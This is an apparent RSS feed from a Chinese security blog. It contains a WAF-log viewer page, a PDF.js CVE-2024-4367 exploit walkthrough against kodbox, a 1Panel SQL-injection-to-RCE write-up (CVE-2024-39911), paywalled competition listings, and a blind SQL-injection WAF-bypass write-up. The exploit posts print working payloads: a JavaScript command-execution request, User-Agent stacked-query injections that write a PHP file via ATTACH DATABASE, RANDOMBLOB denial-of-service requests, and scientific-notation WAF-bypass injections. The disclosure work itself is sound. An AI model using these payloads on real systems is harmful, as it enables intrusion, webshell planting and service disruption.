                        await ElMessageBox.confirm('清空日志将无法恢复,是否继续?', '清空日志', {
                            confirmButtonText: '确定',
                            cancelButtonText: '取消',
                        });

                        const { data } = await axios.get(API_BASE_URL, { params: { action: 'clearlogs' } });
                        if (data.status === 1) {
                            ElMessage({ message: '日志清空成功', type: 'success' });
                            this.listData();
                        } else {
                            ElMessage({ message: '日志清空失败', type: 'error' });
                        }
                    } catch (error) {
                        if (error === 'cancel') {
                            ElMessage({ type: 'info', message: '清空日志已取消' });
                        } else {
                            console.error("API 请求失败:", error);
                            ElMessage({ message: '请求失败,请稍后重试', type: 'error' });
                        }
                    }
                },
                handleClick(row) {
                    this.selectedRow = row;
                    this.drawer = true;
                    this.$nextTick(this.initializeCodeMirror);
                },
                handleChange() {
                    this.listData();
                },
                handleSizeChange(size) {
                    this.pageSize = size;
                    this.listData();
                },
                handleCurrentChange(page) {
                    this.currentPage = page;
                    this.listData();
                },
                initializeCodeMirror() {
                    const editorElement = document.getElementById('nginx-log-editor');
                    this.editor = CodeMirror.fromTextArea(editorElement, {
                        lineNumbers: true,
                        mode: 'nginx',
                        readOnly: true,
                        theme: 'default',
                    });
                    this.editor.setValue(this.selectedRow.nginx_log || '暂无日志数据');
                },
                handleDrawerClose() {
                    if (this.editor) {
                        this.editor.toTextArea();
                    }
                },
                decodeBase64(encodedString) {
                    try {
                        const decodedString = atob(encodedString);
                        return decodeURIComponent(escape(decodedString));
                    } catch (error) {
                        console.error('Base64 解码失败:', error);
                        return null;
                    }
                },
                updateDrawerSize() {
                    const width = window.innerWidth;

                    if (width > 1200) {
                        this.drawerSize = '40%';
                    } else if (width > 768) {
                        this.drawerSize = '60%';
                    } else {
                        this.drawerSize = '80%';
                        this.smallPagination = true;
                        this.adDisplay = false;
                    }
                },
            },
            async mounted() {
                await Promise.all([this.fetchData(), this.siteListData(), this.listData()]);
                this.updateDrawerSize();
                window.addEventListener('resize', this.updateDrawerSize);
            },
            beforeUnmount() {
                window.removeEventListener('resize', this.updateDrawerSize);
            },
        };

        const app = Vue.createApp(App);
        app.use(ElementPlus);
        app.mount("#app");
    </script>
</body>

</html>

0x03 原理 and 文档

1panel waf的日志都是保存在openresty容器里面的db文件,目录也有映射出来,我们通过php容器也去挂载一下即可读取到db文件然后读取即可

下面是简易的api接口文档

  1. wafstat
  • 说明:获取 WAF 状态的最新记录。
  • 请求方式:GET
  • 请求参数:无
  • 返回格式:JSON
  • 返回示例:
json
{
    "id": 5,
    "day": "2024-08-20",
    "req_count": 2085,
    "attack_count": 65,
    "count4xx": 917,
    "count5xx": 5,
    "create_date": "2024-08-19 16:06:47"
}

2.sitelist

  • 说明:获取所有已记录的网站列表。
  • 请求方式:GET
  • 请求参数:无
  • 返回格式:JSON
  • 返回示例:
json
[
  { "website_key": "example.com" },
  { "website_key": "testsite.com" }
]

3.list

  • 说明:获取请求日志列表,支持分页和过滤。
  • 请求方式:GET
  • 请求参数:
  • page:页码(默认值为 1)
  • size:每页条数(默认值为 10)
  • website_key:网站(可选)
  • exec_rule:命中规则(可选)
  • uri:请求 URI(可选)
  • ip:请求 IP(可选)
  • 返回格式:JSON
  • 返回示例:
json
{
    "data": [
        {
            "id": "17b7d444-9631-4bd2-a09e-8f7a4d03f6b6",
            "ip": "205.210.31.16",
            "ip_iso": "US",
            "ip_country_zh": "美国",
            "ip_country_en": "United States",
            "ip_province_zh": "",
            "ip_province_en": "",
            "ip_longitude": "-97.822",
            "ip_latitude": "37.751",
            "localtime": "2024-08-20 03:26:14",
            "time": 1724124372.559,
            "server_name": "8.222.178.70",
            "website_key": "8.222.178.70:8080",
            "host": "8.222.178.70",
            "method": "GET",
            "uri": "/",
            "user_agent": "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com",
            "exec_rule": "恶意 IP 组",
            "rule_type": "",
            "match_rule": "",
            "match_value": "MjA1LjIxMC4zMS4xNg==",
            "nginx_log": "GET  / HTTP/1.0\nUSER-AGENT: Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com\nACCEPT: */*\n",
            "blocking_time": 0,
            "action": "deny",
            "is_block": 0,
            "is_attack": 1
        }
    ],
    "total": 13
}

4.clearlogs

  • 说明:清除所有请求日志。
  • 请求方式:GET
  • 请求参数:无
  • 返回格式:JSON
  • 返回示例:
json
{
  "status": 1
}

status:操作状态,1 表示成功,0 表示失败。

]]>
5 https://blog.mo60.cn/index.php/archives/1panel_waf_log_use.html#comments https://blog.mo60.cn/index.php/feed/archives/1panel_waf_log_use.html
可道云(kodbox)CVE-2024-4367漏洞利用 https://blog.mo60.cn/index.php/archives/kodbox-CVE-2024-4367.html https://blog.mo60.cn/index.php/archives/kodbox-CVE-2024-4367.html Sat, 27 Jul 2024 16:32:00 +0800 Juneha 1.CVE-2024-4367 介绍

PDF.js是一个由Mozilla开发的、广泛使用的开源便携式文档格式 (PDF) 查看器,可以在Web浏览器中显示PDF文档,而无需依赖任何本地插件PDF.js被内置于Mozilla Firefox中,也可被其他Web浏览器使用。
Mozilla PDF.js 4.2.67之前版本在font_loader.js 中存在代码注入漏洞,当PDF.js 配置isEvalSupported 选项设置为 true(默认值)时会将输入传递到 函数,威胁者可通过诱导用户打开恶意PDF文件来利用该漏洞,成功利用可能导致在登录用户或托管域的上下文中执行任意JavaScript。

影响范围:

  • Mozilla PDF.js < 4.2.67
  • pdfjs-dist (npm) < 4.2.67
  • react-pdf (npm) < 7.7.3
  • 8.0.0<= react-pdf (npm) < 8.0.2

2.漏洞复现

测试的时候是当下的最新版本 1.52

73120-7f9lia0hgl5.png

需要安装官方插件PDF阅读器,版本也为当下最新1.47

32435-dglie7f4hd.png

然后下载利用poc

https://github.com/LOURC0D3/CVE-2024-4367-PoC

然后生成一个弹cookie的poc.pdf文件

D:\CVE-2024-4367-PoC-main> .\CVE-2024-4367.py "alert(document.cookie)" 
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.

上传后打开

49122-b4ugt8nhba9.png

我们可以利用可道云终端插件来执行命令,这里是如果已经按照终端插件的情况下才能使用,或者使用js去按照插件后利用

var xhr=new XMLHttpRequest(),url='/plugins/webConsole/lib/';xhr.open('POST',url,!0),xhr.setRequestHeader('Content-Type','application/json'),xhr.setRequestHeader('X-Requested-With','XMLHttpRequest'),xhr.onreadystatechange=function(){4===xhr.readyState&&200===xhr.status&&(alert(JSON.parse(xhr.responseText).result.output))};var cmd='id',data={'jsonrpc':'2.0','method':'run','params':['NO_LOGIN',{'user':'','hostname':'','path':''},cmd],'id':1},jsonData=JSON.stringify(data);xhr.send(jsonData); 

生成漏洞pdf文件
95176-8gc9rnnddq6.png

然后上传后访问成功执行命令

47101-l2zqhzo46y.png

]]>
1 https://blog.mo60.cn/index.php/archives/kodbox-CVE-2024-4367.html#comments https://blog.mo60.cn/index.php/feed/archives/kodbox-CVE-2024-4367.html
1Panel面板前台sql注入到网站功能rce漏洞(CVE-2024-39911) https://blog.mo60.cn/index.php/archives/1Panel_SQLinjection2Rce.html https://blog.mo60.cn/index.php/archives/1Panel_SQLinjection2Rce.html Sat, 08 Jun 2024 22:57:00 +0800 Juneha 0x00 1Panel 架构

1Panel 大致架构如下,面板本身是运行在宿主机上的,搭建的网站运行的其他服务等都是在docker内

34085-mhf27my8169.png

请求日志,访问日志是在1panel/openresty容器里面的各种.db文件里面存储着,通过lua文件写入的, waf功能以及网站监控功能也是在1panel/openresty容器内实现并存储的,然后面板去读取展示

90461-kapnrjfpl4p.png

复现视频 https://www.bilibili.com/video/BV1tt8ue6EmU/

漏洞在6月初发现,反馈给1p官方后,六月中修复,7月中漏洞公开

0x1 测试版本

专业版 v1.10.10-lts
社区版 v1.10.10-lts
1panel/openresty:1.21.4.3-3-1-focal

0x2 影响范围

网站监控功能影响 == 1panel/openresty:1.21.4.3-3-1-focal
WAF功能影响 <= 1panel/openresty:1.21.4.3-3-1-focal

0x3 网站监控功能

利用条件:

  • 专业版,并开启网站监控功能
  • 关闭waf功能
  • 安装有1P-openresty容器且搭建有php环境网站

3.1 发现注入

这里会记录请求日志

54024-mck2p3v6af.png

他记录的字段有 re ua头等

77768-th6p61i1lg.png

在记录的字段上加上单引号会发现没有成功记录日志,猜测这里存在一个inser的sql注入

73269-c7hf6jhpnmh.png

进一步验证因为数据库是sqlite,我们尝试一下字符串拼功能最后记录是啥样子的,发送数据包

User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b

发现字符串被拼接了,确定了这里存在一个insert的注入

84966-m75osymtreg.png

3.2 文件定位

这个功能的数据库在

/usr/local/openresty/1pwaf/data/db/sites/网站编号/site_req_logs.db

或者在宿主机的

/opt/1panel/apps/openresty/openresty/1pwaf/data/db/sites/网站代号

写入数据库语句的脚本在

/usr/local/openresty/1pwaf/lib/monitor_log.lua

执行的sql语句如下
54224-utnmrnt1m6t.png

INSERT INTO site_req_logs (
            server_name, host,ip, ip_iso, ip_country_zh,
            ip_country_en, ip_province_zh, ip_province_en, 
            uri, user_agent, method, status_code, referer,
            spider, request_time, localtime, time, request_uri,
            flow, day, hour, uv_id, referer_domain,
            os,browser,device,pv_tag,uv_tag
        ) VALUES (
            '%s', '%s', '%s', '%s', '%s',
            '%s', '%s', '%s', 
            '%s', '%s', '%s', %d, '%s',
            '%s', %d, DATETIME('now'), %f, '%s',
            %d, '%s', '%s', '%s', '%s',
            '%s', '%s', '%s','%s','%s'
        )

我们可控的位置在user_agent头也就是

VALUES (
            '%s', '%s', '%s', '%s', '%s',
            '%s', '%s', '%s', 
            '可控点', '%s', '%s', %d, '%s',
            '%s', %d, DATETIME('now'), %f, '%s',
            %d, '%s', '%s', '%s', '%s',
            '%s', '%s', '%s','%s','%s'
        )

3.3 Getshell

这里我们先测试一下存不存在堆叠注入,先闭合前面的然后在构造插入新语句的poc

GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');INSERT INTO "main"."site_req_logs" ("id", "server_name", "host", "ip", "ip_iso", "ip_country_zh", "ip_country_en", "ip_province_zh", "ip_province_en", "ip_longitude", "ip_latitude", "uri", "user_agent", "method", "status_code", "referer", "spider", "request_time", "localtime", "time", "request_uri", "flow", "day", "hour", "uv_id", "referer_domain", "os", "browser", "device", "pv_tag", "uv_tag")VALUES (18, '192.168.99.6', '192.168.99.6', '192.168.99.2', 'Local', 'blog.mo60.cn', 'Intranet', '', '', NULL, NULL, '/blog.mo60.cn', 'blog.mo60.cn', 'blog.mo60.cn', 114514, '', '', 1, '2024-06-09 08:16:52', 1717921010.847, '/aa', 552, '2024-06-09', '16', '', '', 'windows', 'edge', 'pc', '', '');#
Connection: close

可以看到插入了我们的语句

58819-8iadv9n3g6.png

那么我们的思路是通过堆叠注入写出文件,到网站目录下,因为网站大部分是支持php的,默认网站路径格式如下

/www/sites/网站代号(默认为域名)/index/

然后构造poc写入文件

ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');#

然后发送数据包

80588-5f91688fbto.png

然后进入容器查看一下,发现文件写入成功

58230-vmlteiqvtmq.png

访问成功执行

27475-qq3xv8pi72i.png

测试poc

GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#

发送后如果写入文件并输出C930b955726e241e6a7aa1e4184b54e7f就是存在

96431-e1z02na9ud.png

这个利用方式在开启waf的情况下无法利用,大致示意图

44326-xbi7siltexi.png

3.4 功能DDOS

这里是利用到RANDOMBLOB 是SQLite数据库中的一个函数,它的主要用途是生成一个指定长度的包含随机字节的二进制大对象(BLOB)。,然后传入一个RANDOMBLOB(39990000)

GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Edg/125.0.0.0'||RANDOMBLOB(39990000)||'blog.mo60.cn
Connection: close

发送后来到请求日志查看,直接响应超时功能全部用不了

http://192.168.99.6:13515/xpack/monitor/log

30547-cvqi2iqiek4.png

上面的操作导致数据库文件特别大因为生成了太大字节的内容

14952-je0w6kvvrab.png

0x4 WAF功能

利用条件:

  • 开启waf功能
  • 安装有1P-openresty容器且搭建有php环境网站

4.1发现注入

先来一条会触发waf的规则

64904-117jso5e9la9.png

可以看到在waf拦截记录里面记录了

http://URL/xpack/waf/websites

31583-o075u709kl.png

可以看到记录的字段跟上面也差不多

36923-jukq0to3ww.png

直接测试有没有注入

User-Agent: Mozilla/5.0'||"blog.mo60.cn"||'b

可以看到最近得到的是拼接后的结果,这里存在注入

78717-bn4faiug3u.png

4.2文件定位

进入op的到容器里面

docker exec -it 8fbeeb7b4dbc /bin/bash

数据库的路径位于,是SQLite数据库

/usr/local/openresty/1pwaf/data/db/

里面有两个数据库文件,1pwaf.db 跟 req_log.db,一个是记录的waf的开关情况配置等,另外一个是我们需要的请求日志,我们的拦截日志就在这个库里面记录着

38921-k80g3gf9fc.png

然后把db文件拷贝到宿主机上分析一下,后面发现就在1panel的文件路径里面就有不需要特意进入到容器/opt/1panel/

docker cp 8fbeeb7b4dbc:/usr/local/openresty/1pwaf/data/db/req_log.db .

可以看到我们的拦截记录就在这里面

45739-wjadhcs5n5k.png

然后通过搜索找到的插入语句在

/usr/local/openresty/1pwaf/lib/attack_log.lua

打开可以看到执行的sql语句

84835-2s8mjzqjhtg.png

INSERT INTO req_logs (
        id, ip, ip_iso, ip_country_zh, ip_country_en,
        ip_province_zh, ip_province_en, ip_longitude, ip_latitude, localtime, 
        time,server_name,  website_key, host, method,
        uri, user_agent, exec_rule, rule_type, match_rule, match_value,
        nginx_log, blocking_time, action, is_block, is_attack
    ) VALUES (
        '%s', '%s', '%s', '%s', '%s',
        '%s', '%s', %d, %d, DATETIME('now'),
         %f,  '%s', '%s', '%s', '%s',
         '%s', '%s', '%s', '%s', '%s', '%s', 
         '%s', %d, '%s', %d, %d
    )

我们的可控点在第二个插入参数的位置

VALUES (
        '%s', '%s', '%s', '%s', '%s',
        '%s', '%s', %d, %d, DATETIME('now'),
         %f,  '%s', '%s', '%s', '%s',
         '%s', '可控点', '%s', '%s', '%s', '%s', 
         '%s', %d, '%s', %d, %d
    )

4.3 Getshell

先构造好poc

ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#

然后这里利用ua头位置注入来写入文件

GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
Connection: close

58723-02pmtls4gs3q.png

访问成功执行

47350-n1iob8sn3z.png

这里利用只要开启waf功能即可

4.4 功能DDOS

还是利用生成一大堆数据,然后让这个接口响应超时

GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn'||RANDOMBLOB(79990000)||'blog.mo60.cn
Connection: close

然后来到拦截日志,开始转圈圈

86580-d1b3g7jn0uf.png

然后过一会提示请求错误

22426-miscb82dww9.png

]]>
6 https://blog.mo60.cn/index.php/archives/1Panel_SQLinjection2Rce.html#comments https://blog.mo60.cn/index.php/feed/archives/1Panel_SQLinjection2Rce.html
数据分析题-信息安全管理与评估-2022年省赛-环境+WP https://blog.mo60.cn/index.php/archives/1452.html https://blog.mo60.cn/index.php/archives/1452.html Sat, 16 Mar 2024 22:59:00 +0800 Juneha 0x01前言

更新浏览器缓存可能导致无法查看,有问题可以与我联系或者评论反馈

数据分析题-信息安全管理与评估-2022年省赛-环境+WP

内容包括数据包+WP

序号任务内容
1使用Wireshark分析数据包找出telnet服务器(路由器)的用户名和密码,并将密码作为Flag值提交。flag格式:flag {密码}
2使用Wireshark分析capture. pcapng数据流量包,telnet服务器是一台路由器,找出此台路由器的特权密码,并将密码作为Flag值提交。flag格 式:flag {密码}
3使用Wireshark分析capture. pcapng数据流量包,telnet服务器是一一台路由器,正在被192.168.181.141这台主机进行密码爆破,将此主机进行密码爆破的次数作为Flag值提交。flag格式:flag {爆破次数}
4使用Wireshark分析capture. pcapog数据流量包,ftp服务器已经传输文件结束,将登陆服务器后的第一条指令作为Flag值提交.flag格式:flag{第一条指令}。
5使用Wireshark 分析capture. pcapos效据流量包,ftp服务器已经传输文件结束,将建立FTP服务器的数据连接的次数作为Flag值提交。flag 格式:flag {连接次数}
6使用Wireshark分析capture. pcepng数据流量包,ftp服务器已经传输文件结束,将登陆服务器后第一次使用数据连接的端口号作为Flag值提交. flg格式:flag{第一次连接端口}。
7使用Wireshark分析capture. pcapog数据流量包,web服务器地址是192. 168. 181. 250,其使用的脚本语言为php,将服务器使用php的版本号作为Flag值提交.flag格式:flag {php版本号}
8使用Wireshark分析capture. pcapng数据流量包,web服务器地址是192.168.181.250,将web服务器软件的版本号作为Flag值提交。flag格式: flag {web软件版本号}
9使用Wireshark分析capture.pcapng数据流量包,找出数据包当中所有HTTP状态码为404的报文,将这些报文的数量作为Flag值提交。flag格 式:flag{报文数量}
10使用Wireshark分析capture.pcapng数据流量包,这些数据中有非常多的ICMP报文,其中有一个设备是路由器 IP地址为192.168.181.25,将路由器上主动发出的ping请求的数量作为Flag值提交。flag格式:flag {请求数量}
11使用Wireshark分析capture.pcapng数据包文件,这些数据中有非常多的ICMP报文,这些报文中有大量的非正常ICMP报文,找出类型为重定向的所有报文,将报文重定向的数量作为Flag值提交。flag格 式:flag {重定向数量}
12使用Wi reshark分析capture.pcapng数据包文件,这些数据中有ssh报文,由于ssh有加密功能,现需要将这些加密报文的算法分析出来,将ssh客户端支持的第一个算法的名称作为Flag值提交。flag格式:flag{第一个算法名称}
13使用Wireshark并分析capture.pcapng数据包文件,这些数据中有ssh报文,由于ssh有加密功能,现需要将这些加密报文的算法分析出来,将ssh服务器支持的第一个算法的密钥长度作为Flag值提交。flag格式:flag{第一个算法密钥长度}

0x02 内容

此处内容作者设置了 付费59.9 元(点击此处支付,付费后请刷新界面),无法点击请刷新页面后重新点击即可! 可见,付费后 10 天内有效

]]>
2 https://blog.mo60.cn/index.php/archives/1452.html#comments https://blog.mo60.cn/index.php/feed/archives/1452.html
Web题-信息安全管理与评估-2023年国赛Web模拟题-环境 https://blog.mo60.cn/index.php/archives/1444.html https://blog.mo60.cn/index.php/archives/1444.html Wed, 03 Jan 2024 17:03:00 +0800 Juneha 0x01前言

更新浏览器缓存可能导致无法查看,有问题可以与我联系或者评论反馈

为2023年web模拟环境的一键版本,当然文章里面也有搭建教程,这里是懒得搭建的福音

[post cid="1080" /]

内容包括虚拟机文件,和两个快照

16309-l1pviuvzd2a.png

0x02 内容

此处内容作者设置了 付费59.9 元(点击此处支付,付费后请刷新界面),无法点击请刷新页面后重新点击即可! 可见,付费后 10 天内有效

]]>
0 https://blog.mo60.cn/index.php/archives/1444.html#comments https://blog.mo60.cn/index.php/feed/archives/1444.html
应急响应-Linux-信息安全管理与评估-2022年国赛/2023省赛-环境+wp https://blog.mo60.cn/index.php/archives/1442.html https://blog.mo60.cn/index.php/archives/1442.html Tue, 02 Jan 2024 21:10:00 +0800 Juneha 0x01前言

更新浏览器缓存可能导致无法查看,有问题可以与我联系或者评论反馈

内容包括虚拟机文件,解析文档+答案,此题为2022国赛题目,也在2023年省赛出现过(2022国赛后的第一次省赛),对应题目如下

任务编号任务描述
1提交攻击者的 IP 地址
2识别攻击者使用的操作系统
3找出攻击者资产收集所使用的平台
4提交攻击者目录扫描所使用的工具名称
5提交攻击者首次攻击成功的时间,格式:DD /MM/YY:HH:MM:SS
6找到攻击者写入的恶意后门文件,提交文件名(完整路径)和后门密码
7找到攻击者隐藏在正常 web 应用代码中的恶意代码,提交该文件名(完整路径)
8识别系统中存在的恶意程序进程,提交进程名
9找到文件系统中的恶意程序文件并提交文件名(完整路径)
10简要描述该恶意文件的行为

此处内容作者设置了 付费59.9 元(点击此处支付,付费后请刷新界面),无法点击请刷新页面后重新点击即可! 可见,付费后 10 天内有效

]]>
4 https://blog.mo60.cn/index.php/archives/1442.html#comments https://blog.mo60.cn/index.php/feed/archives/1442.html
引号的突围! 一次借助反斜杠的逃逸之旅与SQL注入的秘密探索 https://blog.mo60.cn/index.php/archives/1420.html https://blog.mo60.cn/index.php/archives/1420.html Sat, 23 Dec 2023 14:23:00 +0800 Juneha 0x1 前言

好久没有遇到那么符合预设环境的漏洞情况了,标题跟部分内容的文笔由ai美化了,看起来诗情画意的?(可能

0x02 过程

是一个需要统一认证的工单系统,首页是展示最近的工单

68373-t3e0f4mdcj.png

右上角有个我的工单,点击后会要求绑定工号

28659-daooxtlj32h.png

需要两个参数,一个是工号一个绑定码

99368-otsrr7atz1b.png

先随意输入一些内容然后抓包,可以看到有两个参数workNum bindCode

45437-bw8lxkey2pl.png

接下来通过对后端语句的推测和巧妙的输入操纵,利用符号犹如钥匙般打开了逃逸单引号限制的大门,逐步探入SQL注入的世界,首先当然是对两个参数进行常规的单双引号测试'",当然是没有效果的没有任何变化

22998-70mkbknr466.png

workNum尝试输入 发现提示sql语句报错

02714-84i3ie455hs.png

bindCode也测试一下,发现也报错,猜测后端没有进行预处理也没有用类似于addslashes函数进行处理而是自己进行的单双引号的处理但是没有处理符号转义了原有的引号导致了我们输入的参数逃逸出了引号的限制

58995-33vatnuvccu.png

首先猜测后端语句大概如下

select xxx from where workNum='可控' and bindCode='可控'

那么我在workNum传入时语句如下,他后面那个单引号被反引号注释掉了逃出了单引号的限制

select xxx from where workNum='可控\' and bindCode='可控'

此时workNum的值为红色部分,可以发现第二个可控的部分并不在引号内可以进行sql注入

  • select xxx from where workNum='可控\' and bindCode='可控'

那么在workNum传入,bindCode传--+语句如下可以发现有了一个可以操作的可控点

  • select xxx from where workNum='\' and bindCode=' 可控点 --+'

因为系统带有waf这里先轻微的使用不那么容易触发waf的语句来测一下是什么数据库,传入内容如下

workNum=\&bindCode=%2BCURRENT_USER--+

后端语句大概如下,也就是+上CURRENT_USER Mysql的用户名函数

select xxx from where workNum='\' and bindCode='+ CURRENT_USER--+'

发现并没有报错

90490-v7myyz75x0p.png

改掉一位试试看发现提示sql语句错误,那么这里就判断为mysql数据库

71718-5kb59hqz3j5.png

旅程并非一帆风顺,WAF如同一道屏障挡在面前。接下来我将运用科学计数法如同舞者般优雅地绕过了WAF的限制,编织出if语句的旋律进行真相的探寻。

这里用科学计数法绕过waf构造if,构造出true/false来注入,这里判断用户名长度是否等于1显然错误返回错误,使用<>大/小于号都会报错,猜测是后端对<>进行了处理用来防止xss导致没办法用大于小于来快速判断范围我这里就用=号一位一位判断了

workNum=\&bindCode=%2bif+520.e(length+520.e(CURRENT_USER+520.e)=1,1,exp+520.e(999+520.e)+520.e)%23

90974-9mxjrbvskd.png

等于11位的时候页面返回正常,这里就得到了用户名部分为11位

79650-tsg2gtl27zo.png

在来判断个数据库名,得到长度为5,点到为止,下班

workNum=\&bindCode=%2bif+520.e(length+520.e(schema+520.e(+520.e)+520.e)=5,1,exp+520.e(999+520.e)+520.e)%23

27470-uspg141k0b.png

最后反馈给信息处的老师

74191-marpz4xu29f.png

]]>
5 https://blog.mo60.cn/index.php/archives/1420.html#comments https://blog.mo60.cn/index.php/feed/archives/1420.html